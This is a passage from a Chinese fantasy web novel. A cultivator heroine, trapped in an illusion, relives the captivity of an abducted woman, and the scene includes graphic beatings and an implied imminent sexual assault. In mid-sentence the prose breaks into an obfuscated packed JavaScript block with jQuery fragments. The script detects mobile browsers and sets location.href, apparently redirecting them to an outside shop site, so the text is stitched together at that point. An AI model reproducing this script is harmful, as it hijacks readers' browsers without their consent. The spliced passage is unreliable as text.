重泉村不小不大,莫约住着十几户人家。经受大火啃食,木梁残架暴露在外,门槛坍塌,遍地的碳屑,碎瓦无不昭示着村中惨状。
正值晌午,家家户户照旧飘着炊烟,道路上空无一人,安静得诡异。
空中恰恰飘起了小雨,雨丝遣散酷暑的燥热。
三人立在村口,无处遮挡,温晏和崔云声见状各自从乾坤袋中取出油纸伞遮雨。见谢知竹没有动作,崔云声主动唤他:“谢师弟,可要一同避雨。”
他递出一个怪异的眼神。
崔云声:“……行。”
温晏不顾这边,正打量着村门口落在地上的物件。
一把老旧的蒲扇,前端竹片翘起,孤孤单单,显得凄惨。
正是那位总晃在村口的阿婆手中摇着的那把。阿婆面目慈祥,时常笑眯眯地唤她一声“姑娘”,然后请她去家中吃糖。
她向前探出一步,欲要进村,被两人同时叫住。
“阿晏。”
“师姐。”
谢知竹与崔云声交换了眼神,谢知竹先行几步,难得正经:“师姐,我先去探路。”
温晏皮笑肉不笑:“你是女子吗?”
谢知竹却不理睬,他快步插到她身前,似乎前方有什么宝贝等着一般,毫不留恋地抛下两人离开了。
一步、两步、三步……
少年转身,身后是破败的景致,他却干净温润,笑的轻易。
无事发生。
温晏耸肩,朝着他上前几步,还不忘对师兄道:“别跟我抢嗷,这下总该我去了吧。”
踏入村口的瞬间,崔云声似乎对她说了什么,她还未来得及去听清,只觉得天地旋转。
下一瞬,眼前再次清晰,面摊前的热汤滚滚,不远处可以瞧见重泉村的炊烟。
小二哥见到突然出现的她,手中甩面的姿势不稳,吓得个惊呼:“诶呦!”
随后瞧清她的模样,摊手:您看吧。
这重泉村啊,怪!
温晏:“……”
似乎有一道无形的屏障将村子笼罩在了里面,屏障上布满针对女子的传送咒术,只要碰到,就被送回至远处。
温晏提速回到村口,没有见到崔云声,只见到等在原地的谢知竹。
他见她气鼓鼓地靠近,心中好笑:“崔师兄先进村查看了,叫我在这等你。”
一颗颗晶莹的细雨沾上他的发稍,显得毛茸茸的,连同着睫毛也不放过,反衬得它纤细卷翘。
“进来。”温晏没好气道。
似乎是怕被拒绝,她紧接着又威胁一声:“你不打我就收起来了。”
谢知竹乖巧地钻进她的伞下。
他的个子高,为了能够容纳下他,温晏需再往下握着伞柄,举的高一些。
她正在调整,伞柄却被人固定住。
随之望去,一只手握住伞柄上端,指节修长干净。
她瞧着好看,不由得多看了几眼。
只听他说:“我来吧,师姐。”
两人也没闲着,绕着村周观察了一圈,在南边的一棵松树下撞见了正研究的崔云声。
见两人一同撑伞出现,他招了招手:“过来看看。”
温晏如同一尾灵巧游窜于荷叶间的游鱼,一下子钻到了崔云声的伞下。
谢知竹的唇线拉平,眸底的晦暗转瞬即逝。
松木苍劲茂盛,隐约传出火烧后的焦味。
谢知竹暗自撇嘴:“村子都烧没了,这里怎么还能有棵树。”
崔云声点头:“我也觉得奇怪。”
温晏抠了抠树皮,看出来点端倪,眉眼间流露出率先看破的得意:“芜秽幻境。”
下一刻,就掉进了幻境之中。
·
比光更先触及五感的是浓烈的尿骚味和腐臭味,温晏想要睁开眼睛,只觉得一只眼皮很沉,应当是肿胀的原因,另一只眼睛勉强张开,能看见的还是一片黑。
她差点以为自己是瞎了。
颈项很沉,一根铁链以栓狗的姿态牢牢圈住她,在她的拨动下发出一阵声响。
沉静之中,有人被惊醒,扑过来时踉跄一声,随后扶住了她的肩头。
“余雪?你醒了!”
温晏不动声色地避开她的触摸,只是轻微的动作,皮肉被撕扯竟传出痛意。
余雪。
是谁?
莫约过了一刻钟,温晏才勉强适应了漆黑的环境。
一小块残尸摆在她面前,根据裸露的骨骼可以判断出是只老鼠,泥巴地面由于染血显得斑驳。
这是个狭小的空间,角落只铺了一层薄薄的稻草。抬头能瞧见头顶开着一个极窄的天窗供人呼吸,被一张牢牢的铁网盖住,外面应该覆盖了一层草皮。
透过泥土间隙,没有光亮,应当是夜里。
眼前凑过来的女子五官精巧,伸出五指正在她的眼前摇晃。再看左右,还有个女子蜷缩在角落依偎着,死气沉沉。
她开嗓,嘶哑的可怕:“这是哪里?”
女子见她疑似失忆,面露同情。
除她之外,剩下的人对她的话置若罔闻。只有对面的一个听见一点动静就如同被鬼掐住了喉咙般,发不出声音,只是抖个不停。
女子道:“这是重泉村广家的地牢里,你不记得了吗?”
见她不出声,又指了指自己:“你还认得我是谁吗?”
温晏认真观察她的五官,确定自己不认识。
想要否认时,这具身体却不受控制地喃喃道:“青松。”
“不是青松,我是许琼啊,我是来救你们出去的。”
这具身躯依旧自言自语:
“明明是青松……”
芜秽幻境,可以将已经发生的过往重现。
身处角色之中,面对必要剧情时只可旁观,无力改变。
面前的女人自称“许琼”,温晏对这名字倒是有些印象,上一世玉台较武时与师兄团聚,师兄向她介绍了几个好友,其中有一个便是凝香谷弟子许琼。
只是许琼不长这副模样,想必也是闯入了幻境中。
这具身体一旦开口,就神神叨叨个不停,渐渐地还抽泣起来,只是不敢哭嚎的太大声。
温晏冷静地等着她安静下来,直到掌控了身体的控制权,她伸手抹掉脸上的泪渍,手背的伤口沾染咸水隐隐作痛,突然开口:
“我叫温晏。”
许琼闻声一愣,明白过来后对她眨了眨眼睛,被困在幻境中几日,突然来了外界的人,她有些高兴。
“我知道你,你是岐山掌门温凌的女儿。”
温晏问:“这里什么情况?”
“我也才两天。”她指了指温晏,又指了指自己,“你叫余雪,是砚池城财主家的二小姐,我叫青松,身份不详。”
许琼接着开口,试图将情况描述得更清楚些:“我和同伴接了砚池城余夫人的悬赏,寻找他家失踪的女儿,根据线索来到了这里,阴差阳错掉入了幻境。”
“据我观察,这个村子是个拐子村,地下室全是被拐卖来的姑娘。”
目前的情况显而易见
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17279065|198338||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,她俩都成了困在地下的人。
温晏只途径过重泉村四次,村中有什么人做着什么勾当,她从未关注过。
提及这个村子,能勾起她唯一的记忆还是村口的阿婆。
她两鬓黑白发掺杂,脸上留着岁月摧残后的褶皱,很普通的长相,只是一双眼睛弯弯的,温和得像是日落黄昏后的一缕炊烟。
她的声音苍老语气和蔼,说:“姑娘你与我家闺女真像,要吃糖吗,我自己做的,甜……”
幻境时间第二日,温晏是被调侃嬉笑声吵醒的。
地下室的隔板被揭开,外面照入一束细长的光线。
“喂,醒醒!”
很不耐烦的语气。
不然温晏或许还以为自己仍在云半间,崔云声正隔着窗喊她早起。
映入眼帘的是个精瘦矮小的中年男人,络腮胡,细长眼。
见她睁开眼睛,阴阳道:“呦,我们村里的千金余小姐醒了?”
她察觉到对方不怀好意,想要挥拳,却使不上劲来。
温晏叹了口气,又来了。
余雪哭声凄惨,央求个不停。
“放我出去吧,求……求求你,我爹是砚池城的富商,只要你愿意放我走,我爹一定会给你们很多很多钱的!”
那人踢开她伸手要拽自己裤腿的动作,“呸”道。
“还当自己是小姐呢。”
“我看你还敢不敢跑了!还跑!还跑——”他似是不解气,又抬腿狠狠地多踹了几脚,一边踹一边怒骂,抬手对准她的侧脸扇去,“把你还回去我们就要倒大霉了,叫你不老实,害的我被老村长打了几巴掌!”
虽说修行时也吃了不少苦,但从小到大都是温晏揍别人的份,所以在挨了一巴掌后,她愣住了。
准确地说是余雪挨了一巴掌。
清脆的一声。
令附在她身上的意识也真切地感受到了痛楚。
余雪重重地咳一声,喉中反溢出一阵腥甜,脑袋歪至一旁嗡鸣不止,眼眶也随之发热。
下意识想要撑着地面直起身来,可身子骨不比修士。她只是挣扎一番,随后就如同被箭矢刺中一般倒下了。
她的掌心伸出去碰到一块冰冷的物体,想到许是老鼠,又飞快地收回来。
余雪欲要起身,紧接着又被一拳轰下。
一巴掌紧接着一巴掌……
温晏心中不快,用余光去寻本在身边的许琼,她早在男人前来一瞬之间退至很远,面带探究,却没有要帮忙的意思。
她又暗自感知了一下余雪的脉搏:微弱。
若不屈服,任凭他继续动手,就会变为濒死。
显然余雪也意识到了这一点,但并非如温晏所想勇于反抗,而是在挨了几拳后,没再挣扎。
她示弱妥协了。
然而,虐打也未因此停下。
那一刻,温晏心中暗嗤:这就是弱者。
若是她,就算是死了,也得是挺直了腰杆,昂着头,死得漂亮。
男人见余雪渐渐没了声息,心中隐隐不安,伸手捏着她的脸探一下鼻息,提着的心才终于放下来。
“妈的,没死就行……”
他舒一口气,视线又落到余雪的脸庞上,扣头滚动,有些痴了,随后竟摩挲起自己的腰间,迫不及待地褪下裤子。
“这娘们长得还真是水嫩,我还没尝过城里的小姐是什么滋味呢。”
温晏嫌恶地翕动鼻翼,眼尾上挑紧绷住,心中盘算着若是强行破除幻境,随后将重泉村一事抛之脑后是否甘心。